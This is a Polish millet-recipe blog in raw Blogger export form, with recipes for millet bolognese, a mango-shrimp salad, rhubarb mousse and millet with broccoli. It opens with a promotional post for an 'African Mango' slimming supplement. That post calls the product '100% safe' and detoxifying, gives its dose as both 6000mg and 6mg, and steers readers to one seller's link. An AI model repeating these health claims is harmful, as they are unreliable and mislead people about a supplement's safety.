Ostatnio na blogu pojawił się przepis na <b>jaglaną</b> <b>sałatkę z mango, kukurydzą, rukolą i krewetkami, </b>w z związku z czym chciałbym skupić się trochę zaletach owocu mango<b>, </b>który nie tylko jest pyszny, ale również cieszy się ogromną popularnością dzięki właściwościom wspomagającym spalanie tłuszczu. Tak, to właśnie te właściwości zostały wykorzystane w preparacie African Mango zawierającym ekstrakt z nasion afrykańskiego mango <i>Irvingia Gabonesis</i>, który poskromi nawet największego łakomczucha. To niewątpliwie jeden z najlepszych i najchętniej wybieranych preparatów wspomagających odchudzanie. </div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBHLUawnkeMNqLFNwlxUu-rpAFdj4UGzeOriZwMzwRBG1niw4evMt9vv-cHL0FRtUth7gIGk9qh071j9pVJfOhLnhyew7ncIbnnocZaEaJAc_h_xw9Q3Ks7-oCGFwJ7bi8DQsSfKioZzsY/s1600/AfricanMango_Skladnik_PL_300x250.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBHLUawnkeMNqLFNwlxUu-rpAFdj4UGzeOriZwMzwRBG1niw4evMt9vv-cHL0FRtUth7gIGk9qh071j9pVJfOhLnhyew7ncIbnnocZaEaJAc_h_xw9Q3Ks7-oCGFwJ7bi8DQsSfKioZzsY/s1600/AfricanMango_Skladnik_PL_300x250.jpg" /></a></div>
<div style="text-align: justify;">
African Mango nie tylko wspomaga odchudzanie poprzez redukcję tkanki tłuszczowej, ale również zmniejsza odkładanie się nowej. Dodatkowo wspomaga wydalanie toksyn z organizmu, które niestety często przyczyniają się do braku efektów w kuracjach odchudzających, mimo włożonych wysiłków. African Mango pozwala chudnąć mądrze i skutecznie, a przy tym zapewniając organizmowi dawkę substancji odżywczych wpływających na zdrowie i samopoczucie.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Wiele preparatów na odchudzanie powoduje różnego rodzaju skutki uboczne m.in. pogorszenie wchłaniania substancji odżywczych z układu
pokarmowego. <b>African Mango jest w 100% bezpieczne, gdyż jest naturalnym
przeciwutleniaczem i zawiera wiele witamin, składników odżywczych oraz
polifenole - źródło młodości.</b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
W ofercie aptek, jak również aukcji internetowych jest wiele preparatów wspomagających odchudzanie, jednak nie każdy z nich jest cudowną pastylką na szczupłą sylwetkę. Ponadto, nie ma co się oszukiwać, ale aktywność fizyczna i wprowadzenie prawidłowych (zdrowych) nawyków żywieniowych jest równie istotne. Pamiętajcie, z wiarą w cudowną tabletkę jest jak z wiarą w Św. Mikołaja...:)</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b><span style="font-size: large;"><span style="color: #e69138;">African Mango</span> Cena?</span></b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnoO9tQTA0fNlL1qe-xLhQhKtXMNuBVsLYX4cuajtHcpTbLJ42RCa3HRceqcHb9Wl2qoTwhtyoFFKAHtjcd6NhoES8XTWS7vIGje3NBnCocIFhT_C21EqbnsSdjsNSF5qjb_-oFLIi7bLt/s1600/AfricanMango_Isolated.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnoO9tQTA0fNlL1qe-xLhQhKtXMNuBVsLYX4cuajtHcpTbLJ42RCa3HRceqcHb9Wl2qoTwhtyoFFKAHtjcd6NhoES8XTWS7vIGje3NBnCocIFhT_C21EqbnsSdjsNSF5qjb_-oFLIi7bLt/s200/AfricanMango_Isolated.jpg" width="143" /></a>Na rynku dostępnych jest kilka preparatów zawierających ekstrakt z African Mango. Jeśli dokonamy porównania, wyraźnie widzimy, że cena prezentowanego przeze mnie African Mango 6000mg jest najkorzystniejszą na rynku. Dlaczego? Otóż jedna kapsułka African Mango zawiera największą dostępną na rynku dawkę ekstraktu z mango, tj. 6mg! W ogólnym rozrachunku, to właśnie African Mango jest najkorzystniejszy dla naszej sylwetki i portfela.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Jeśli wpiszesz w Google "african mango apteka", wówczas ujrzysz wyniki innych ofert preparatu zawierających ekstrakt z African Mango, jednakże ilość tego preparatu w jednej kapsułce jest znacznie niższa, co w ogólnym rozrachunku spowoduje, że kuracja tańszym preparatem będzie nawet 3-krotnie droższa, gdyż będziemy go potrzebować znacznie więcej! Uważajcie na ten haczyk.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Podobnie wygląda sytuacja, jeśli wpiszemy w Google "african mango cena". Pojawi się duża ilość preparatów niewiadomego pochodzenia, w których producent nie wskazuje, jaka ilość ekstraktu z mango znajduje się w preparacie. Takich ofert absolutnie nie polecam, gdyż to strata pieniędzy.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b><span style="font-size: large;"><span style="color: #e69138;">African Mango</span>. Gdzie Kupić? Apteka Czy Internet?</span></b></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Producent prezentowanego przeze mnie preparatu African Mango, uznał, że każdy powinien mieć do niego dostęp, dlatego można go zamówić na oficjalnej stronie producenta.</div>
<div style="text-align: justify;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://nplink.net/9nivbLQf" target="_blank"><img alt=" http://nplink.net/9nivbLQf" border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyOoh_6a8SDR2_UwWENzuYuLr-ao1Lf9FyRgSUY7NYabXw7m1O6d7N-JVo9Rz14Q0BNioLR9XB-8F0m1eXv82k7F2uDX9c8Ea0G0sepElTwQ7y8UTdznwgj8zHTfzt_7o1N2EKkdtYDr5s/s400/AfricanMango_amat_05.jpg" width="400" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Często producenci preparatów zawierających w składzie wyciąg z afrykańskiego mango nie podają ilości ekstraktu jaka znajduje się w jednej kapsułce. W związku z tym, zalecam unikanie zakupów zarówno na aukcjach internetowych, w aptekach oraz sklepach stacjonarnych.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Polecam zakup na <b><a href="http://nplink.net/9nivbLQf" target="_blank">stronie producenta</a></b>, gdyż gwarantuje nie tylko jakość preparatu, ale i jego skuteczność. Aby przejść na stronę producenta, kliknij <a href="http://nplink.net/9nivbLQf" target="_blank">tutaj</a>. Życzę sukcesów w kuracji!</div>
<div style="text-align: justify;">
<br />
Uwaga! <a href="http://www.spalajtluszcz.pl/" target="_blank">Na stronie Moniki</a>, możecie przeczytać jej historię oraz udokumentowaną zdjęciami <b>wagraną walkę z nadwagę</b>! Serdecznie polecam.</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-size: x-small;">Frazy wpisywane przez użytkowników wyszukiwarek internetowych:</span></div>
<div style="text-align: justify;">
<span style="font-size: x-small;">- African Mango cena</span></div>
<div style="text-align: justify;">
<span style="font-size: x-small;">- African Mango gdzie kupić</span></div>
<div style="text-align: justify;">
<span style="font-size: x-small;">- African Mango apteka</span></div>
<div style="text-align: justify;">
<span style="font-size: x-small;">- African Mango opinie</span></div>
Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.com1tag:blogger.com,1999:blog-4117404407927449930.post-13754124101137453212015-09-15T20:28:00.000+02:002017-09-26T22:27:49.305+02:00Kasza jaglana po bolońsku<div style="text-align: justify;">
Uwielbiam makaron z sosem bolońskim. A co się stanie jeśli ten sos połączymy z kaszą jaglaną? Równie smaczne danie i do tego bardzo sycące. Danie, do którego często chce się wracać. Zapraszam na pierwsze polsko-włoskie połączenie smaków i zapewniam, że będzie ich więcej, bo kuchnia włoska zasługuje na uwagę. :)</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbfnrE18Os01yPgG_REAjBPi7KqrY3nPpz5y8_oju1fDc7lsXKurr2HldnemO5Om1LjQ_jflnlF9WFi4pNmloOOFkGCA1qzFiUF4NXxJOrwaRw1c8pDQh51t1iTXTCxkS6v0Qre7rtLLi4/s1600/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Kasza jaglana po bolońsku" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbfnrE18Os01yPgG_REAjBPi7KqrY3nPpz5y8_oju1fDc7lsXKurr2HldnemO5Om1LjQ_jflnlF9WFi4pNmloOOFkGCA1qzFiUF4NXxJOrwaRw1c8pDQh51t1iTXTCxkS6v0Qre7rtLLi4/s640/1.jpg" title="Kasza jaglana po bolońsku" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<a name='more'></a><br />
<b>Składniki:</b>
<br />
<div style="text-align: justify;">
- ugotowana kasza jaglana w dowolnej ilości</div>
<div style="text-align: justify;">
- 1 papryka</div>
<div style="text-align: justify;">
- 2 czerwone cebule</div>
<div style="text-align: justify;">
- 5 ząbków czosnku</div>
<div style="text-align: justify;">
- 400 g mielonego mięsa wołowego</div>
<div style="text-align: justify;">
- passata pomidorowa (ok 700 g)</div>
<div style="text-align: justify;">
- czerwone wino wytrawne (opcjonalnie)</div>
<div style="text-align: justify;">
- woda</div>
<div style="text-align: justify;">
- sól,</div>
<div style="text-align: justify;">
- pieprz</div>
<div style="text-align: justify;">
- tymianek</div>
<div style="text-align: justify;">
- bazylia</div>
<div style="text-align: justify;">
- papryka ostra </div>
<div style="text-align: justify;">
- olej </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b>Przygotowanie:</b></div>
<div style="text-align: justify;">
1. Na rozgrzaną patelnię wylewamy łyżkę oleju i podsmażamy mięso mielone, aż zbrązowieje i trochę się przyrumieni.</div>
<div style="text-align: justify;">
2. W maszynce do mielenia mielimy cebulę oraz paprykę. Można zetrzeć na tarce o drobnych oczkach - ja tak zrobiłem. Polecam, zwłaszcza cebulę. :)</div>
<div style="text-align: justify;">
3. Czosnek przeciskamy przez praskę.</div>
<div style="text-align: justify;">
4. Podsmażone mięso, startą cebulę oraz paprykę i czosnek łączymy ze sobą. Dodajemy 3/4 szklanki wody, doprowadzamy do wrzenia i dusimy przez ok. 20 minut.</div>
<div style="text-align: justify;">
5. Następnie dodajemy passatę oraz 2 łyżeczki tymianku, 2 łyżeczki bazylii i 1 płaską łyżeczkę ostrej papryki i pół szklanki wina (opcjonalnie). Gotujemy przez następne 20 minut.</div>
<div style="text-align: justify;">
6. Po 20-tu minutach przyprawiamy solą i pieprzem.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Podajemy z ugotowaną kaszą jaglaną np. polewając kaszę sosem lub mieszając. :)</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxaCtvOXbqqPnsLQOIJ_nz0X1yc2vKehvX30S957Bv8mbx4ijfMCZAdn48ozBxbD-64BPVtIw9NG7Ys-rjJnIaY0VBoRG4uXnd0VljdOKKr19T0QnHSig5NlDSQa3wX-EUYIXktjj3aJlY/s1600/2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Kasza jaglana po bolońsku" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxaCtvOXbqqPnsLQOIJ_nz0X1yc2vKehvX30S957Bv8mbx4ijfMCZAdn48ozBxbD-64BPVtIw9NG7Ys-rjJnIaY0VBoRG4uXnd0VljdOKKr19T0QnHSig5NlDSQa3wX-EUYIXktjj3aJlY/s640/2.jpg" title="Kasza jaglana po bolońsku" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrSCaSGwon9DS_jW43w3KL6Yu16VhJhp7TJFQ_bTT1Z0lu2TIuq9yJFqk32L6ZpWGlRg-7j-rqRl7zoc14xaIRqc3O1Yujlk6vj_GrLMMyMpvCwIdn_INIFrZe1te4QIFE5Xu9JxmvSLWW/s1600/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Kasza jaglana po bolońsku" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrSCaSGwon9DS_jW43w3KL6Yu16VhJhp7TJFQ_bTT1Z0lu2TIuq9yJFqk32L6ZpWGlRg-7j-rqRl7zoc14xaIRqc3O1Yujlk6vj_GrLMMyMpvCwIdn_INIFrZe1te4QIFE5Xu9JxmvSLWW/s640/1.jpg" title="Kasza jaglana po bolońsku" width="640" /></a></div>
<br />Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.com0tag:blogger.com,1999:blog-4117404407927449930.post-36340274187277667082015-09-06T09:49:00.000+02:002017-09-26T22:27:54.985+02:00Jaglana sałatka z mango, kukurydzą, rukolą i krewetkami<div style="text-align: justify;">
Wydaje mi się, że ilość potraw, w których można wykorzystać kaszę jaglaną jest nieskończona... Dziś proponuję nieco egzotyczne połączenie - wyśmienitą sałatkę z rukolą, mango, kukurydzą i krewetkami. Ja z przyjemnością zabrałem ją do pracy, ale idealnie sprawdzi się również na różnego rodzaju przyjęciach z dodatkiem np. wina. :)</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCKIk-enrLKuA3iMrMkEmS_mTSaS_3sxlehenXd60jx39OCh5Kn6SCBLYQ1ZReoIH08F-J7vufP3Cb5HZiLUneeBw9T7TLKdTSHFmunIvyYsp1hPCG7mdll9Mt7Wb8RcfWZa8EmqM40Fwl/s1600/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Jaglana sałatka z mango, kukurydzą, rukolą i krewetkami" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCKIk-enrLKuA3iMrMkEmS_mTSaS_3sxlehenXd60jx39OCh5Kn6SCBLYQ1ZReoIH08F-J7vufP3Cb5HZiLUneeBw9T7TLKdTSHFmunIvyYsp1hPCG7mdll9Mt7Wb8RcfWZa8EmqM40Fwl/s640/1.jpg" title="Jaglana sałatka z mango, kukurydzą, rukolą i krewetkami" width="640" /></a></div>
<div style="text-align: justify;">
<br />
<a name='more'></a><br /></div>
<b>Składniki:</b>
<br />
<div style="text-align: justify;">
- 1 szklanka kaszy jaglanej</div>
<div style="text-align: justify;">
- olej np. z pestek winogron</div>
<div style="text-align: justify;">
- oliwa z oliwek </div>
<div style="text-align: justify;">
- puszka kukurydzy</div>
<div style="text-align: justify;">
- kumin</div>
<div style="text-align: justify;">
- 8 - 10 krewetek</div>
<div style="text-align: justify;">
- 1 mała czerwona cebula</div>
<div style="text-align: justify;">
- 4 garście rukoli</div>
<div style="text-align: justify;">
- garść świeżych liści bazylii</div>
<div style="text-align: justify;">
- limonka<br />
- sól<br />
- pieprz </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b>Przygotowanie:</b></div>
<div style="text-align: justify;">
1. Gotujemy kaszę jaglaną na sypko. Jak? o tym <a href="http://kaszomania.blogspot.com/p/jak-ugotowac-kasze-jaglana.html" target="_blank">tutaj</a>.</div>
<div style="text-align: justify;">
2. Kukurydzę odsączamy. Następnie na gorącą patelnię wylewamy ok 1 łyżkę oleju, dodajemy kukurydzę i podsmażamy, aż nieco się przyrumieni. W tym samym czasie dodajemy 1/4 łyżeczki kuminu. Podsmażaną kukurydzę przekładamy do innego naczynia.</div>
<div style="text-align: justify;">
3. Ponownie na patelni rozgrzewamy oliwę, i dodajemy krewetki. Podsmażamy je przez ok 2-3 minuty, a następnie przekładamy do naczynia z kukurydzą.</div>
<div style="text-align: justify;">
4. Mango kroimy w kostkę, a cebulę na siekamy na bardzo małe kawałki. </div>
<div style="text-align: justify;">
5. Kukurydzę i krewetki łączymy z kaszą jaglaną, mango, cebulą, rukolą i bazylią. Polewamy 3-ma łyżkami oliwy z oliwy, sokiem z jednej limonki i doprawiamy pieprzem oraz solą.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Danie można serwować zarówno na ciepło, jak i na zimno. Smacznego.<br />
<br /></div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidjwXdUVPyed4zaB6ZJQWGSny9atRMcDfvDy3sASRNPWBYgjQJcWMS41J8Ns240Jgl6_J1Y1qd7HMxS2BAkSvEd-VhaxMmk7hpAQizEjbrK1krrOSfYCE3yKfaO3JHeAppmsft1806rbts/s1600/2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Jaglana sałatka z mango, kukurydzą, rukolą i krewetkami" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidjwXdUVPyed4zaB6ZJQWGSny9atRMcDfvDy3sASRNPWBYgjQJcWMS41J8Ns240Jgl6_J1Y1qd7HMxS2BAkSvEd-VhaxMmk7hpAQizEjbrK1krrOSfYCE3yKfaO3JHeAppmsft1806rbts/s640/2.jpg" title="Jaglana sałatka z mango, kukurydzą, rukolą i krewetkami" width="640" /></a> </div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimW2aDQykpZ2HWEwHk9iBqpkYNgHs0-EJGBV-u9V3w2BqlVOpUh50aUiCyP1K2S_wed9tDRPfw-P-w0OUutJ5Ufx_19puN0RRLz_9qCId_PacHJ5_V67hG2lt18y6lbQwrss8ydGD9eIhY/s1600/3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Jaglana sałatka z mango, kukurydzą, rukolą i krewetkami" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimW2aDQykpZ2HWEwHk9iBqpkYNgHs0-EJGBV-u9V3w2BqlVOpUh50aUiCyP1K2S_wed9tDRPfw-P-w0OUutJ5Ufx_19puN0RRLz_9qCId_PacHJ5_V67hG2lt18y6lbQwrss8ydGD9eIhY/s640/3.jpg" title="Jaglana sałatka z mango, kukurydzą, rukolą i krewetkami" width="640" /></a></div>
<br /></div>
Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.com1tag:blogger.com,1999:blog-4117404407927449930.post-41574517907312366162015-08-22T20:36:00.000+02:002017-09-26T22:28:03.461+02:00Mus z kaszy jaglanej i rabarbaru<div style="text-align: justify;">
Niestety ostatnio nie miałem czasu na dodawanie nowych przepisów mea culpa! Po krótkiej przerwie, wracam z przepisem na mus z kaszy jaglanej i rabarbaru. Idealny deser, lekko kwaskowaty, szybki w przygotowaniu i bardzo zdrowy! A rabarbar i jego zapach zawsze mi przywodzi na myśl wakacje. :)</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDvUFnVL2yFDI76_6FsAkFcYFX_Ph8YnEKIXcEkGOiTQd8OCIrYX9-xMgukDlDKW6sWdyddqr4nPnViU61fpFvv5JU_I65aPYzVqa1hBz0xnkkYynWFAD5o0m4FZFNYTTJIt-ild3WvZpu/s1600/r1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Mus z kaszy jaglanej i rabarbaru" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDvUFnVL2yFDI76_6FsAkFcYFX_Ph8YnEKIXcEkGOiTQd8OCIrYX9-xMgukDlDKW6sWdyddqr4nPnViU61fpFvv5JU_I65aPYzVqa1hBz0xnkkYynWFAD5o0m4FZFNYTTJIt-ild3WvZpu/s640/r1.jpg" title="Mus z kaszy jaglanej i rabarbaru" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<a name='more'></a></div>
<b>Składniki:</b>
<br />
<div style="text-align: justify;">
- 3 gałązki rabarbaru (może być więcej)</div>
<div style="text-align: justify;">
- szklanka ugotowanej kaszy jaglanej</div>
<div style="text-align: justify;">
- czubata łyżeczka miodu.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Przygotowanie:</div>
<div style="text-align: justify;">
1. Rabarbar dokładnie myjemy, kroimy na mniejsze kawałki i gotujemy do miękkości (ok. 5-7 minut).</div>
<div style="text-align: justify;">
2. Odsączony rabarbar wkładamy do naczynia wraz z kaszą jaglaną i łyżeczką miodu.</div>
<div style="text-align: justify;">
3. Całość miksujemy blenderem - nie musi być na idealnie gładką masę. ;)</div>
<div style="text-align: justify;">
<br /></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlKDgXjhkqmZFM92eAzkHLgBv_JPygZeVDYJMc3A_u1S70d25DHPes_r8fu3sTYewPLbl5fh5n0DA0hghh3HLa3s2SL_IFURxgSBTSxgKFemGluTM5qXkL5tvNR6hQl2k3BseubhAM5hLl/s1600/r2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Mus z kaszy jaglanej i rabarbaru" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlKDgXjhkqmZFM92eAzkHLgBv_JPygZeVDYJMc3A_u1S70d25DHPes_r8fu3sTYewPLbl5fh5n0DA0hghh3HLa3s2SL_IFURxgSBTSxgKFemGluTM5qXkL5tvNR6hQl2k3BseubhAM5hLl/s640/r2.jpg" title="Mus z kaszy jaglanej i rabarbaru" width="640" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCsMn4T0oJC-rSKDsIh3CkN_nh6hrvXu3fWpAhAoGN3kTPtHutYHD0sxOuFQ_1CQd3s-fUX4qOLjzhxfNOHD692Qkz9WH3HA61dilhs-bFH-RS27rfi3hU683JfAxwH4b5p2jW9GRCr6Yl/s1600/r1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Mus z kaszy jaglanej i rabarbaru" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCsMn4T0oJC-rSKDsIh3CkN_nh6hrvXu3fWpAhAoGN3kTPtHutYHD0sxOuFQ_1CQd3s-fUX4qOLjzhxfNOHD692Qkz9WH3HA61dilhs-bFH-RS27rfi3hU683JfAxwH4b5p2jW9GRCr6Yl/s640/r1.jpg" title="Mus z kaszy jaglanej i rabarbaru" width="640" /></a></div>
<div style="text-align: justify;">
<b><br /></b></div>
Kaszomaniakhttp://www.blogger.com/profile/07377519070516761764noreply@blogger.com3tag:blogger.com,1999:blog-4117404407927449930.post-91928089078084035902015-08-02T20:04:00.000+02:002017-09-26T22:28:11.033+02:00Kasza jaglana z brokułem<div style="text-align: justify;">
Po brownie, przyszedł czas na brokuła, bo nie może być zbyt słodko. :) Brokuł, z tego co mi się wydaje, nie gościł jeszcze w progach kaszomanii. A zatem czas najwyższy. Danie jest banalnie proste i nie da się go zepsuć. A efekt? Świetny. Połączenie kaszy jaglanej i brokuła to kolejny udany "związek". :)</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhu4tirwNuoqkHpikAsGyeDdAhIoZHC2lm7tspGv26hQ_yU0tQjXN_brz-4DaciIZZAlJ9oiNdIVxO1F6TUVxhvbbdN8WdPZw8pmrcez5_LlzieKPvQOpmVI1kUqjpgHjx1Qu0LdqSzoxvF/s1600/2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Kasza jaglana z brokułem" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhu4tirwNuoqkHpikAsGyeDdAhIoZHC2lm7tspGv26hQ_yU0tQjXN_brz-4DaciIZZAlJ9oiNdIVxO1F6TUVxhvbbdN8WdPZw8pmrcez5_LlzieKPvQOpmVI1kUqjpgHjx1Qu0LdqSzoxvF/s640/2.jpg" title="Kasza jaglana z brokułem" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<b></b><br />
<a name='more'></a><b><br /></b>
</div>
<b>Składniki:</b>
<br />
<div style="text-align: justify;">
- 0,5 szklanki kaszy jaglanej</div>
<div style="text-align: justify;">
- cebula</div>
<div style="text-align: justify;">
- brokuł</div>
<div style="text-align: justify;">
- śmietana (najlepiej 30% tł.) - małe opakowanie</div>
<div style="text-align: justify;">
- pierś z kurczaka lub indyka (opcjonalnie)</div>
<div style="text-align: justify;">
- sól</div>
<div style="text-align: justify;">
- pieprz</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b>Wykonanie:</b></div>
<div style="text-align: justify;">
1. Gotujemy kaszę jaglaną tak, <a href="http://kaszomania.blogspot.com/p/jak-ugotowac-kasze-jaglana.html" target="_blank">aby pozbyć się goryczki.</a></div>
<div style="text-align: justify;">
2. Brokuła rozdzielamy na mniejsze różyczki i gotujemy w osolonej wodzie przez ok 10 - 12 minut. Uwaga, aby go nie rozgotować.</div>
<div style="text-align: justify;">
3. Siekamy cebulę i podsmażamy na oliwie do momentu aż będzie miękka. Dodajemy pokrojoną na kawałki pierś (etap ten pomijacie, jeżeli przygotowujecie danie bez mięsa).</div>
<div style="text-align: justify;">
4. Dodajemy ugotowanego brokuła, chwilę dusimy a następnie rozgniatamy, aby otrzymać małe kawałeczki lub papkę. :)</div>
<div style="text-align: justify;">
5. Wlewamy śmietankę, gotujemy przez kilka minut.</div>
<div style="text-align: justify;">
6. Dodajemy sól, pieprz do smaku i całość mieszamy z kaszą jaglaną, lub wykorzystujemy jako sos - polewając kaszę.<br />
<br />
Smacznego.<br />
<br /></div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5bslBiHrBjNz0xdI_7O2bMBXDn3ggPdbm8h6XgTweWvlLcgZEnXlYHqlP_KOkeGY_aiXSRA73oW4UapcJ7hPBOWvITJLWRSERF-ooJo0vOzb4Z7AUwAbkgIWFsmSAW2phYHC1egDf9iwH/s1600/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Kasza jaglana z brokułem" border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5bslBiHrBjNz0xdI_7O2bMBXDn3ggPdbm8h6XgTweWvlLcgZEnXlYHqlP_KOkeGY_aiXSRA73oW4UapcJ7hPBOWvITJLWRSERF-ooJo0vOzb4Z7AUwAbkgIWFsmSAW2phYHC1egDf9iwH/s640/1.jpg" title="Kasza jaglana z brokułem" width="640" /></a></div>
</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;">
